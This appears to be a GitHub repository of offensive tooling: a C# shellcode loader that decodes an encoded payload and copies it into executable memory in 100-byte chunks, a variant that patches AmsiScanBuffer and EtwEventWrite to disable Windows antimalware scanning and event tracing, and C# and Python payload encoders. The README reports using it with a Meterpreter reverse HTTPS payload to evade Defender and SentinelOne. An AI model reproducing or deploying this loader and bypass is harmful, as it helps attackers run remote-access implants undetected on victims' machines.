├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── Program.cs ├── ProgramPatchAmsiEtw.cs ├── README.md ├── encode_shellcode.cs └── encode_shellcode.py /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clod81/shellcode_runner_copy_in_chunk/537f2179024f0a5da9fa91a5b7cde01a445f6816/1.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clod81/shellcode_runner_copy_in_chunk/537f2179024f0a5da9fa91a5b7cde01a445f6816/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clod81/shellcode_runner_copy_in_chunk/537f2179024f0a5da9fa91a5b7cde01a445f6816/3.png -------------------------------------------------------------------------------- /4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clod81/shellcode_runner_copy_in_chunk/537f2179024f0a5da9fa91a5b7cde01a445f6816/4.png -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Diagnostics; 7 | using System.Runtime.InteropServices; 8 | 9 | // Yes the code is shit, but meh so what - not like I have the whole day to write good pocs 10 | namespace ConsoleApp1 { 11 | 12 | class Program{ 13 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 14 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 15 | 16 | [DllImport("kernel32.dll")] 17 | static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 18 | 19 | [DllImport("kernel32.dll")] 20 | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 21 | 22 | [DllImport("kernel32.dll")] 23 | static extern IntPtr GetCurrentProcess(); 24 | 25 | // Yes the code is shit, but meh so what - not like I have the whole day to write good pocs 26 | private static int jawohl(byte[] inputz, IntPtr addr, int position, int key) 27 | { 28 | int fixSize = 100; 29 | byte[] slice = new byte[]{}; 30 | byte[] remainder = new byte[0]; 31 | int len = inputz.Length; 32 | 33 | if(len > fixSize) 34 | { 35 | slice = new byte[fixSize]; 36 | for (int i = 0; i < fixSize; i++) 37 | { 38 | slice[i] = inputz[i]; 39 | } 40 | 41 | remainder = new byte[len-fixSize]; 42 | for (int i = 0; i < len-fixSize; i++) 43 | { 44 | remainder[i] = inputz[i+fixSize]; 45 | } 46 | }else 47 | { 48 | slice = new byte[len]; 49 | for (int i = 0; i < len; i++) 50 | { 51 | slice[i] = inputz[i]; 52 | } 53 | } 54 | 55 | // Decode the shellcode 56 | for (int i = 0; i < slice.Length; i++) 57 | { 58 | slice[i] = (byte)(((uint)slice[i] - key) & 0xFF); 59 | } 60 | 61 | IntPtr ptr; 62 | if(position == 0) 63 | { 64 | ptr = addr; 65 | }else 66 | { 67 | ptr = IntPtr.Add(addr, fixSize); 68 | } 69 | Marshal.Copy(slice, 0, ptr, slice.Length); 70 | 71 | if(len > fixSize) 72 | { 73 | position += fixSize; 74 | jawohl(remainder, ptr, position, key); 75 | } 76 | 77 | return len; 78 | } 79 | 80 | static void Main(string[] args) 81 | { 82 | byte[] buf = new byte[] { /* shellcode */ }; 83 | int key = 666; // key used to encode the shellcode 84 | 85 | int size = buf.Length; 86 | 87 | IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40); 88 | 89 | jawohl(buf, addr, 0, key); 90 | 91 | IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 92 | 93 | WaitForSingleObject(hThread, 0xFFFFFFFF); // wait for shellcode to finish execution 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /ProgramPatchAmsiEtw.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Diagnostics; 7 | using System.Runtime.InteropServices; 8 | 9 | // Yes the code is shit, but meh so what - not like I have the whole day to write good pocs 10 | namespace ConsoleApp1 11 | { 12 | 13 | public class PatchAMSIAndETW 14 | { 15 | 16 | [DllImport("kernel32")] 17 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 18 | 19 | [DllImport("kernel32")] 20 | public static extern IntPtr LoadLibrary(string name); 21 | 22 | [DllImport("kernel32")] 23 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 24 | 25 | private static void PatchETW() 26 | { 27 | try 28 | { 29 | byte[] patchbyte = new byte[0]; 30 | if (IntPtr.Size == 4) 31 | { 32 | string patchbytestring2 = "33,c0," + "c2,14,00"; 33 | string[] patchbytestring = patchbytestring2.Split(','); 34 | patchbyte = new byte[patchbytestring.Length]; 35 | for (int i = 0; i < patchbytestring.Length; i++) 36 | { 37 | patchbyte[i] = Convert.ToByte(patchbytestring[i], 16); 38 | } 39 | }else 40 | { 41 | string patchbytestring2 = "48,3" + "3,C0,C3"; 42 | string[] patchbytestring = patchbytestring2.Split(','); 43 | patchbyte = new byte[patchbytestring.Length]; 44 | for (int i = 0; i < patchbytestring.Length; i++) 45 | { 46 | patchbyte[i] = Convert.ToByte(patchbytestring[i], 16); 47 | } 48 | } 49 | var enteeediiielel = LoadLibrary(("ntd" + "ll.dll")); 50 | var etwEventSend = GetProcAddress(enteeediiielel, ("Et" + "wE" + "ve" + "nt" + "Wr" + "it" + "e")); 51 | uint oldProtect; 52 | VirtualProtect(etwEventSend, (UIntPtr)patchbyte.Length, 0x40, out oldProtect); 53 | Marshal.Copy(patchbyte, 0, etwEventSend, patchbyte.Length); 54 | }catch (Exception e) 55 | { 56 | Console.WriteLine(" [!] {0}", e.Message); 57 | Console.WriteLine(" [!] {0}", e.InnerException); 58 | } 59 | } 60 | 61 | private static void PatchAMSI() 62 | { 63 | try { 64 | LoadLibrary("A" + "m" + "s" + "i" + "." + "d" + "ll"); 65 | byte[] patchbyte = new byte[0]; 66 | if (IntPtr.Size == 4) 67 | { 68 | string patchbytestring2 = "B8,57,00,07,80,C2,18,00"; 69 | string[] patchbytestring = patchbytestring2.Split(','); 70 | patchbyte = new byte[patchbytestring.Length]; 71 | for (int i = 0; i < patchbytestring.Length; i++) 72 | { 73 | patchbyte[i] = Convert.ToByte(patchbytestring[i], 16); 74 | } 75 | }else 76 | { 77 | string patchbytestring2 = "B8,57,00,07,80,C3"; 78 | string[] patchbytestring = patchbytestring2.Split(','); 79 | patchbyte = new byte[patchbytestring.Length]; 80 | for (int i = 0; i < patchbytestring.Length; i++) 81 | { 82 | patchbyte[i] = Convert.ToByte(patchbytestring[i], 16); 83 | } 84 | } 85 | var enteeediiielel = LoadLibrary(("ams" + "i.dll")); 86 | var etwEventSend = GetProcAddress(enteeediiielel, ("Am" + "si" + "Sc" + "an" + "Bu" + "ff" + "er")); 87 | uint oldProtect; 88 | VirtualProtect(etwEventSend, (UIntPtr)patchbyte.Length, 0x40, out oldProtect); 89 | Marshal.Copy(patchbyte, 0, etwEventSend, patchbyte.Length); 90 | }catch (Exception e) 91 | { 92 | Console.WriteLine(" [!] {0}", e.Message); 93 | Console.WriteLine(" [!] {0}", e.InnerException); 94 | } 95 | } 96 | 97 | public static void Mein() 98 | { 99 | PatchAMSI(); 100 | PatchETW(); 101 | } 102 | } 103 | 104 | class Program 105 | { 106 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 107 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 108 | 109 | [DllImport("kernel32.dll")] 110 | static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 111 | 112 | [DllImport("kernel32.dll")] 113 | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 114 | 115 | [DllImport("kernel32.dll")] 116 | static extern IntPtr GetCurrentProcess(); 117 | 118 | // Yes the code is shit, but meh so what - not like I have the whole day to write good pocs 119 | private static int jawohl(byte[] inputz, IntPtr addr, int position, int key) 120 | { 121 | int fixSize = 100; 122 | byte[] slice = new byte[]{}; 123 | byte[] remainder = new byte[0]; 124 | int len = inputz.Length; 125 | 126 | if(len > fixSize) 127 | { 128 | slice = new byte[fixSize]; 129 | for (int i = 0; i < fixSize; i++) 130 | { 131 | slice[i] = inputz[i]; 132 | } 133 | 134 | remainder = new byte[len-fixSize]; 135 | for (int i = 0; i < len-fixSize; i++) 136 | { 137 | remainder[i] = inputz[i+fixSize]; 138 | } 139 | }else 140 | { 141 | slice = new byte[len]; 142 | for (int i = 0; i < len; i++) 143 | { 144 | slice[i] = inputz[i]; 145 | } 146 | } 147 | 148 | // Decode the shellcode 149 | for (int i = 0; i < slice.Length; i++) 150 | { 151 | slice[i] = (byte)(((uint)slice[i] - key) & 0xFF); 152 | } 153 | 154 | IntPtr ptr; 155 | if(position == 0) 156 | { 157 | ptr = addr; 158 | }else 159 | { 160 | ptr = IntPtr.Add(addr, fixSize); 161 | } 162 | Marshal.Copy(slice, 0, ptr, slice.Length); 163 | 164 | if(len > fixSize) 165 | { 166 | position += fixSize; 167 | jawohl(remainder, ptr, position, key); 168 | } 169 | 170 | return len; 171 | } 172 | 173 | static void Main(string[] args) 174 | { 175 | byte[] buf = new byte[] { /* shellcode */ }; 176 | int key = 666; // key used to encode the shellcode 177 | 178 | int size = buf.Length; 179 | 180 | IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40); 181 | 182 | PatchAMSIAndETW.Mein(); 183 | 184 | jawohl(buf, addr, 0, key); 185 | 186 | IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 187 | 188 | WaitForSingleObject(hThread, 0xFFFFFFFF); // wait for shellcode to finish execution 189 | } 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # C# loader that copies a chunk at the time of the shellcode in memory, rather that all at once 2 | 3 | Uses p/invoke to copy an encoded shellcode in memory, 100 bytes (chunks) at the time, rather than all at once 4 | 5 | `ProgramPatchAmsiEtw` also patches `AmsiScanBuffer` and `EtwEventWrite` 6 | 7 | Yes the code is shit, but meh so what - not like I have the whole day to write good pocs 8 | 9 | Tested with Meterpreter staged rev HTTPS payload (`encode_shellcode.cs` or py version is the code I used to encode the raw one) 10 | 11 | ProgramPatchAmsiEtw.cs against SentinelOne (used Babel .net obfuscator - free version - twice on the resulting exe) 12 | 13 | ![Windowz](https://github.com/clod81/shellcode_runner_copy_in_chunk/blob/main/3.png?raw=true "SentinelOne") 14 | 15 | ![Meterpreter](https://github.com/clod81/shellcode_runner_copy_in_chunk/blob/main/4.png?raw=true "Meterpreter") 16 | 17 | Program.cs against Defender 18 | 19 | ![Windowz](https://github.com/clod81/shellcode_runner_copy_in_chunk/blob/main/1.png?raw=true "Windowz") 20 | 21 | ![Meterpreter](https://github.com/clod81/shellcode_runner_copy_in_chunk/blob/main/2.png?raw=true "Meterpreter") 22 | -------------------------------------------------------------------------------- /encode_shellcode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Helper{ 8 | class Program{ 9 | static void Main(string[] args) { 10 | if (args.Length == 0){ 11 | Console.WriteLine("Usage: enc.exe key"); 12 | return; 13 | } 14 | int key = Int32.Parse(args[0]); 15 | // REPLACE buf WITH SHELLCODE 16 | byte[] buf = new byte[752] { 0xfc,0x48,0x83,0xe4,0xf0,...}; 17 | byte[] encoded = new byte[buf.Length]; 18 | for(int i = 0; i < buf.Length; i++){ 19 | encoded[i] = (byte)(((uint)buf[i] + key) & 0xFF); 20 | } 21 | StringBuilder hex = new StringBuilder(encoded.Length * 2); 22 | foreach(byte b in encoded){ 23 | hex.AppendFormat("0x{0:x2}, ", b); 24 | } 25 | Console.WriteLine(hex.ToString()); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /encode_shellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys 4 | 5 | if len(sys.argv) != 3: 6 | print("Usage: %s \n" % (sys.argv[0])) 7 | sys.exit(1) 8 | 9 | output = '' 10 | file = open(sys.argv[1], 'rb') 11 | key = int(sys.argv[2]) 12 | 13 | contents = file.read() 14 | file.close() 15 | 16 | encoded = [] 17 | for b in range(len(contents)): 18 | test = contents[b] 19 | test = (test + key) & 0xFF 20 | encoded.append("{:02x}".format(test)) 21 | 22 | count = 0 23 | for x in encoded: 24 | if count < len(encoded)-1: 25 | output += "0x{}, ".format(x) 26 | else: 27 | output += "0x{}".format(x) 28 | count += 1 29 | if count % 20 == 0: 30 | output += "\n" 31 | 32 | print(output) 33 | --------------------------------------------------------------------------------